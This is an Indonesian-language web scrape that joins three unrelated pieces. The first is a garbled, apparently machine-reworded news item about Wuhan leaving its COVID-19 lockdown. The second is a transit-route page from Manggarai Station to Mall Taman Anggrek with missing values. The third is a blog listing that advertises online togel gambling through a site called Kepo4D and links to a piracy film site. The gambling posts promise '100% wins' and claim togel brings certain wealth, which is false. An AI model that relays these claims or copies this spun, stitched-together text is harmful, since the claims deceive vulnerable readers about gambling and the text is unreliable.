Akhir Dari Wuhan Bebas Karantina Panjang
Wuhan, sebuah kota dengan jumlah 11 juta penduduk. Telah kita tutup ke seluruh China sejak 23 Januari upaya drastis untuk menghentikan penyebaran COVID-19. Setelah lebih dari dua bulan karantina wisatawan lelah.
Tapi senang berbondong-bondong ke stasiun kereta api dan bandara dkita buka kembali. Juga sudah banyak yang kembali bekerja dengan jeda selama wabah virus corona. Dan yang lain juga bisa berkumpul dengan keluarganya.
“Saya sudah mempersiapkan untuk beberapa hari,” kata Victoria Li, sementara memanjat salah satu kereta pertama meninggalkan stasiun Hankou Wuhan. Rabu pagi, menuju ke kota terdekat Jingzhou. Saya mengatakan dia sangat senang meninggalkan Wuhan karena mereka telah kita pisahkan dari anak-anak mereka selama wabah.


content:
Berikut adalah informasi angkutan umum dari Stasiun Manggarai ke Mall Taman Anggrek lengkap dengan informasi jenis kendaraan, jadwal keberangkatan, jarak tempuh, perkiraan waktu tempuh, informasi kondisi cuaca, informasi kemacetan jalan, gambaran rute pada peta dan informasi terkait lainya.
Naik Kereta api Jurusan BOGOR-JAKARTAKOTA Dari MANGGARAI Turun Di Stasiun Cawang Dengan jarak tempuh 3,9 km (sekitar 5 menit)
Naik Bus Jurusan PINANG RANTI-PLUIT (Nomor 9) Dari Cikoko Stasium Cawang Turun Di S.Parman Podomoro City Dengan jarak tempuh 11,5 km (sekitar 48 menit)
Ini adalah rute kendaraan umum, lihat juga Rute Jalan Mobil Dari Stasiun Manggarai Ke Mall Taman Anggrek atau Rute Jalan Motor Dari Stasiun Manggarai Ke Mall Taman Anggrek
Jadwal kendaraan umum dari Stasiun Manggarai ke Mall Taman Anggrek untuk saat ini 23/09/2020 13:05:30 adalah:
Mall Taman Anggrek (B) terletak di arah azimuth dari Stasiun Manggarai (A) dengan jarak lurus . Sedangkan jarak tempuh dari Stasiun Manggarai ke Mall Taman Anggrek adalah dengan perkiraan waktu tempuh menggunakan kendaraan umum sekitar .


content:
Bermain Togel Dengan Modal Yang Kecil Bermain Togel Dengan Modal Yang Kecil – Permainan Togel Online tentunya sudah sangat dekat untuk para pemain Judi Togel Online di Indonesia. Untuk itu mengapa kali ini kita akan membahas tentang Togel…
Read More »
Situs Togel Terfavorit Di Negara Indonesia
Posted by martin88 — Agustus 30, 2020 in Togel Online
Situs Togel Terfavorit Di Negara Indonesia Situs Togel Terfavorit Di Negara Indonesia – Banyak sekali Situs Togel Online saat ini yang dapat dimainkan. Dengan berbagai varian permainan togel juga menjadi salah satu permainan terfavorit di indonesia dikarenakan pembayaran…
Read More »
Bonus LiveCassino Terbesar Di Bandar Togel Online
Posted by martin88 — Agustus 5, 2020 in Togel Online
Kalian pasti pernah mendengarkan dimana kebanyakan pemain judi online yang ada di indonesia pastinya sangat menyukai permainan LiveCassino yang dimainkan dengan cara live. Untuk itu kalian tidak pernah ingin untuk meninggalkan judi yang dimanakan livecassino ini dan sudah…
Read More »
Bandar Togel Online Serta Bank Online 24 Jam
Posted by martin88 — Agustus 3, 2020 in Togel Online
Kini kita akan membahas tentang dimana Bandar Togel yang memiliki Bank yang tidak pernah offline. Dengan kata online 24 jam tanpa offline. Inilah yang di cari – cari oleh masyarakat sekarang yang bermain togel online aktif setiap harinya….
Read More »
Cara Menang Togel Dalam Web Toto Online
Posted by martin88 — Juli 14, 2020 in Togel Online
Kalian para pecinta togel online pastinya sangat ingin sekali menang dalam permaninan Judi Online yang kalian harapkan untuk menang pada setiap harinya. Hal demikian bisa saja terjadi. Dikarenakan disini kita akan membahas tentang bagaimana caranya agar bisa memenangkan…
Read More »
Bo Judi Togel Online Menggunakan Aplikasi Dan Browser
Posted by martin88 — Juni 28, 2020 in Togel Online
Permainan Judi Togel Online tidak asing lagi di kehidupan kalian masing masing. Dikarenakan salah satu permainan inilah yang bisa membuat orang menjadi sukses. Dan yang menjadikan mudah adalah permainan ini bisa anda mainkan di browser internet anda sendiri…
Read More »
Situs Togel Yang Memberikan Bonus Setiap Hari
Posted by martin88 — Juni 26, 2020 in Togel Online
Penjudi Online tentunya sudah tidak asing dengan mendengarkan Situs Togel Kepo4D yang sudah banyak menarik perhatian dari masyarakat indonesia yang bermain togel. Situs ini adalah situs yang paling istimewa. Dimana kalian yang pecinta togel yang menginginkan bonus setiap…
Read More »
Agen Togel Online Diskon Terbesar Dan Ter-Aman
Posted by martin88 — Juni 20, 2020 in Togel Online
Perbandingan yang ada dalam persitusan judi togel online saat ini adalah tentang dimana diskon yang banyak di incar oleh para pemain judi togel yang dimana soal diskon ini akan sangat berarti ketika nilai diskon yang di patokan dari…
Read More »
Agen Togel Online 100 % Menang Dibayar Kontan
Posted by martin88 — Juni 16, 2020 in Togel Online
Saat ini perjudian Togel Online tidak heran lagi jika sangat di sukai oleh manusia yang ada di indonesia. Togel ini diyakini oleh para masyarakat indonesia bisa membawa kekayaan yang sangat pasti dibandingkan harus bekerja bersama orang. Ketika kalian…
Read More »
Berpacu Dalam Permainan Togel Online
Posted by martin88 — Mei 31, 2020 in Togel Online
Para meminat togel sekarang sedang besar. Dikarenakan penghasilan dari togel sangat besar sekali. Oleh Karena itu dipastikan semua menggilai permainan togel pada saat ini. Dan dengan demikian kalian para pecinta permainan togel online kali ini bisa dengan senang…
Read More »
Navigasi pos
1 2 Berikutnya
Search for:
Search
Recent
Popular
Partner Resmi
indoxxi adalah tempat untuk menonton film yang memiliki subtitle lengkap dan up to date untuk filmnya. jangan lewatkan film kesayangan anda.
Untuk semua orang yang selalu bermain kalah di bola maupun poker. kami kepo4d akan memberikan anda solusinya. silahkan daftar dan klaim Bonus Casino Terbesar bersama situs ini.
Tidak hanya itu saja, situs ini juga memiliki permainan lainnya yang tidak kalah menarik. seperti Slot Online yang bisa membuat anda menang terus – menerus lo.